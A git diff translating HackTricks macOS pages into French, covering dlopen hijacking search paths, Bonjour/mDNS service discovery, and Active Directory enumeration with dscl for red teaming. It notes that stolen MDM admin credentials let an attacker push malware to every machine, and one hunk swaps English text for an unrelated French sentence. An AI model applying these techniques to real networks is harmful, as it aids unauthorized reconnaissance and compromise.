url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} -[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) -{% endcontent-ref %} - -### Dlopen Hijacking - -From **`man dlopen`**: - -* When path **does not contain a slash character** (i.e. it is just a leaf name), **dlopen() will do searching**. If **`$DYLD_LIBRARY_PATH`** was set at launch, dyld will first **look in that director**y. Next, if the calling mach-o file or the main executable specify an **`LC_RPATH`**, then dyld will **look in those** directories. Next, if the process is **unrestricted**, dyld will search in the **current working directory**. Lastly, for old binaries, dyld will try some fallbacks. If **`$DYLD_FALLBACK_LIBRARY_PATH`** was set at launch, dyld will search in **those directories**, otherwise, dyld will look in **`/usr/local/lib/`** (if the process is unrestricted), and then in **`/usr/lib/`**. - 1. `$DYLD_LIBRARY_PATH` - 2. `LC_RPATH` - 3. `CWD`(if unrestricted) - 4. `$DYLD_FALLBACK_LIBRARY_PATH` - 5. `/usr/local/lib/` (if unrestricted) - 6. `/usr/lib/` -* When path **looks like a framework** path (e.g. /stuff/foo.framework/foo), if **`$DYLD_FRAMEWORK_PATH`** was set at launch, dyld will first look in that directory for the framework partial path (e.g. foo.framework/foo). Next, dyld will try the **supplied path as-is** (using current working directory for relative paths). Lastly, for old binaries, dyld will try some fallbacks. If **`$DYLD_FALLBACK_FRAMEWORK_PATH`** was set at launch, dyld will search those directories. Otherwise, it will search **`/Library/Frameworks`** (on macOS if process is unrestricted), then **`/System/Library/Frameworks`**. - 1. `$DYLD_FRAMEWORK_PATH` - 2. supplied path (using current working directory for relative paths) - 3. `$DYLD_FALLBACK_FRAMEWORK_PATH`(if unrestricted) - 4. `/Library/Frameworks` (if unrestricted) - 5. `/System/Library/Frameworks` -* When path **contains a slash but is not a framework path** (i.e. a full path or a partial path to a dylib), dlopen() first looks in (if set) in **`$DYLD_LIBRARY_PATH`** (with leaf part from path ). Next, dyld **tries the supplied path** (using current working directory for relative paths (but only for unrestricted processes)). Lastly, for older binaries, dyld will try fallbacks. If **`$DYLD_FALLBACK_LIBRARY_PATH`** was set at launch, dyld will search in those directories, otherwise, dyld will look in **`/usr/local/lib/`** (if the process is unrestricted), and then in **`/usr/lib/`**. - 1. `$DYLD_LIBRARY_PATH` - 2. supplied path (using current working directory for relative paths if unrestricted) - 3. `$DYLD_FALLBACK_LIBRARY_PATH` - 4. `/usr/local/lib/` (if unrestricted) - 5. `/usr/lib/` - -Note: If the main executable is a **set\[ug]id binary or codesigned with entitlements**, then **all environment variables are ignored**, and only a full path can be used. - -**Check paths** - -Lets check all the options with the following code: - +Le code de **dyld est open source** et peut être trouvé dans [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) et peut être téléchargé sous forme de tar en utilisant une **URL telle que** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz ```c #include #include @@ -171,21 +50,18 @@ int main(void) return 0; } ``` - -If you compile and execute it you can see **where each library was unsuccessfully searched for**. Also, you could **filter the FS logs**: - +Si vous le compilez et l'exécutez, vous pouvez voir **où chaque bibliothèque a été recherchée sans succès**. De plus, vous pouvez **filtrer les journaux du système de fichiers**: ```bash sudo fs_usage | grep "dlopentest" ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md index a3316b7b2..5a3257fb7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md @@ -1,29 +1,28 @@ -# macOS Network Services & Protocols +# Services et protocoles réseau macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Remote Access Services +## Services d'accès à distance -These are the common macOS services to access them remotely.\ -You can enable/disable these services in `System Settings` --> `Sharing` +Ce sont les services macOS courants pour y accéder à distance.\ +Vous pouvez activer/désactiver ces services dans `Préférences Système` --> `Partage` -* **VNC**, known as “Screen Sharing” -* **SSH**, called “Remote Login” -* **Apple Remote Desktop** (ARD), or “Remote Management” -* **AppleEvent**, known as “Remote Apple Event” - -Check if any is enabled running: +* **VNC**, connu sous le nom de "Partage d'écran" +* **SSH**, appelé "Connexion à distance" +* **Apple Remote Desktop** (ARD), ou "Gestion à distance" +* **AppleEvent**, connu sous le nom de "Événement Apple à distance" +Vérifiez si l'un d'entre eux est activé en exécutant : ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -33,27 +32,25 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` +## Protocole Bonjour -## Bonjour Protocol +**Bonjour** est une technologie conçue par Apple qui permet aux ordinateurs et aux **appareils situés sur le même réseau de découvrir les services offerts** par d'autres ordinateurs et appareils. Elle est conçue de telle sorte que tout appareil compatible Bonjour peut être branché sur un réseau TCP/IP et **obtenir une adresse IP** et faire connaître aux autres ordinateurs du réseau **les services qu'il offre**. Bonjour est parfois appelé Rendezvous, **Zero Configuration** ou Zeroconf.\ +Le réseau Zero Configuration, tel que Bonjour fournit : -**Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered** by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network **aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ -Zero Configuration Networking, such as Bonjour provides: +* Doit être capable d'**obtenir une adresse IP** (même sans serveur DHCP) +* Doit être capable de faire une **traduction de nom en adresse** (même sans serveur DNS) +* Doit être capable de **découvrir les services sur le réseau** -* Must be able to **obtain an IP Address** (even without a DHCP server) -* Must be able to do **name-to-address translation** (even without a DNS server) -* Must be able to **discover services on the network** +L'appareil obtiendra une **adresse IP dans la plage 169.254/16** et vérifiera si un autre appareil utilise cette adresse IP. Si ce n'est pas le cas, il conservera l'adresse IP. Les Mac conservent une entrée dans leur table de routage pour ce sous-réseau : `netstat -rn | grep 169` -The device will get an **IP address in the range 169.254/16** and will check if any other device is using that IP address. If not, it will keep the IP address. Macs keeps an entry in their routing table for this subnet: `netstat -rn | grep 169` +Pour le DNS, le protocole **Multicast DNS (mDNS) est utilisé**. Les [**services mDNS** écoutent sur le port **5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md), utilisent des **requêtes DNS régulières** et utilisent l'**adresse multicast 224.0.0.251** au lieu d'envoyer la demande à une adresse IP. Toute machine écoutant ces demandes répondra, généralement à une adresse multicast, de sorte que tous les appareils peuvent mettre à jour leurs tables.\ +Chaque appareil **sélectionne son propre nom** lorsqu'il accède au réseau, l'appareil choisira un nom **se terminant par .local** (peut être basé sur le nom d'hôte ou un nom complètement aléatoire). -For DNS the **Multicast DNS (mDNS) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables.\ -Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** (might be based on the hostname or a completely random one). +Pour **découvrir les services, DNS Service Discovery (DNS-SD)** est utilisé. -For **discovering services DNS Service Discovery (DNS-SD)** is used. - -The final requirement of Zero Configuration Networking is met by **DNS Service Discovery (DNS-SD)**. DNS Service Discovery uses the syntax from DNS SRV records, but uses **DNS PTR records so that multiple results can be returned** if more than one host offers a particular service. A client requests the PTR lookup for the name `.` and **receives** a list of zero or more PTR records of the form `..`. - -The `dns-sd` binary can be used to **advertise services and perform lookups** for services: +L'exigence finale du réseau Zero Configuration est satisfaite par **DNS Service Discovery (DNS-SD)**. DNS Service Discovery utilise la syntaxe des enregistrements DNS SRV, mais utilise des **enregistrements DNS PTR pour que plusieurs résultats puissent être renvoyés** si plus d'un hôte offre un service particulier. Un client demande la recherche PTR pour le nom `.` et **reçoit** une liste de zéro ou plusieurs enregistrements PTR de la forme `..`. +Le binaire `dns-sd` peut être utilisé pour **annoncer des services et effectuer des recherches** de services : ```bash #Search ssh services dns-sd -B _ssh._tcp @@ -74,12 +71,10 @@ dns-sd -R "Index" _http._tcp . 80 path=/index.html #Search HTTP services dns-sd -B _http._tcp ``` +Lorsqu'un nouveau service est lancé, **le nouveau service diffuse sa présence à tous** sur le sous-réseau. Le récepteur n'a pas besoin de demander; il doit simplement être à l'écoute. -When a new service is started the **new service mulitcasts its presence to everyone** on the subnet. The listener didn’t have to ask; it just had to be listening. - -You ca use [**this tool**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) to see the **offered services** in your current local network.\ -Or you can write your own scripts in python with [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf): - +Vous pouvez utiliser [**cet outil**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) pour voir les **services proposés** dans votre réseau local actuel.\ +Ou vous pouvez écrire vos propres scripts en python avec [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf): ```python from zeroconf import ServiceBrowser, Zeroconf @@ -102,14 +97,11 @@ try: finally: zeroconf.close() ``` - -If you feel like Bonjour might be more secured **disabled**, you can do so with: - +Si vous pensez que Bonjour pourrait être plus sécurisé **désactivé**, vous pouvez le faire avec: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## Références * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) @@ -118,10 +110,10 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md b/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md index 625624428..fb24c10ae 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md @@ -1,31 +1,31 @@ -# macOS Red Teaming +# Red Teaming sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Common management methods +## Méthodes de gestion courantes -* JAMF Pro: `jamf checkJSSConnection` +* JAMF Pro : `jamf checkJSSConnection` * Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines. -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +Pour le red teaming dans les environnements macOS, il est fortement recommandé de comprendre le fonctionnement des MDM : {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) {% endcontent-ref %} -And also about **MacOS** "special" **network** **protocols**: +Et aussi sur les **protocoles réseau** **spéciaux** de **MacOS** : {% content-ref url="macos-protocols.md" %} [macos-protocols.md](macos-protocols.md) @@ -33,7 +33,7 @@ And also about **MacOS** "special" **network** **protocols**: ## Active Directory -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +Dans certains cas, vous constaterez que l'**ordinateur macOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **d'énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes : {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -47,41 +47,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* [pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) {% endcontent-ref %} -Some **local MacOS tool** that may also help you is `dscl`: - +Un **outil local MacOS** qui peut également vous aider est `dscl` : ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +Il existe également des outils préparés pour MacOS pour énumérer automatiquement l'AD et jouer avec Kerberos : -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +* [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS. +* [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible. +* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript pour l'automatisation (JXA) pour effectuer une énumération Active Directory. +### Informations de domaine ``` echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` +### Utilisateurs -### Users +Les trois types d'utilisateurs MacOS sont : -The three types of MacOS users are: +* **Utilisateurs locaux** - Gérés par le service local OpenDirectory, ils ne sont connectés d'aucune manière à Active Directory. +* **Utilisateurs réseau** - Utilisateurs volatils d'Active Directory qui nécessitent une connexion au serveur DC pour s'authentifier. +* **Utilisateurs mobiles** - Utilisateurs d'Active Directory avec une sauvegarde locale de leurs informations d'identification et de leurs fichiers. -* **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -* **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -* **Mobile Users** — Active Directory users with a local backup for their credentials and files. +Les informations locales sur les utilisateurs et les groupes sont stockées dans le dossier _/var/db/dslocal/nodes/Default._\ +Par exemple, les informations sur l'utilisateur appelé _mark_ sont stockées dans _/var/db/dslocal/nodes/Default/users/mark.plist_ et les informations sur le groupe _admin_ sont dans _/var/db/dslocal/nodes/Default/groups/admin.plist_. -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. - -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -* **CanSSH** - entity allowed to SSH to host -* **CanVNC** - entity allowed to VNC to host -* **CanAE** - entity allowed to execute AppleEvent scripts on host +En plus d'utiliser les bords HasSession et AdminTo, **MacHound ajoute trois nouveaux bords** à la base de données Bloodhound : +* **CanSSH** - entité autorisée à se connecter en SSH à l'hôte +* **CanVNC** - entité autorisée à se connecter en VNC à l'hôte +* **CanAE** - entité autorisée à exécuter des scripts AppleEvent sur l'hôte ```bash #User enumeration dscl . ls /Users @@ -103,18 +98,17 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` +Plus d'informations sur [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) +## Services externes -## External Services - -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin: +Le Red Teaming de MacOS est différent d'un Red Teaming Windows régulier car généralement **MacOS est intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS consiste à accéder à l'ordinateur en utilisant des **identifiants synchronisés OneLogin, et à accéder à plusieurs services externes** (comme github, aws...) via OneLogin : ![](<../../.gitbook/assets/image (563).png>) ### -## References +## Références * [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E) * [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -124,10 +118,10 @@ MacOS Red Teaming is different from a regular Windows Red Teaming as usually **M ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md index 87cb854d3..4b98cf659 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md @@ -1,25 +1,10 @@ -# macOS Security Protections - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
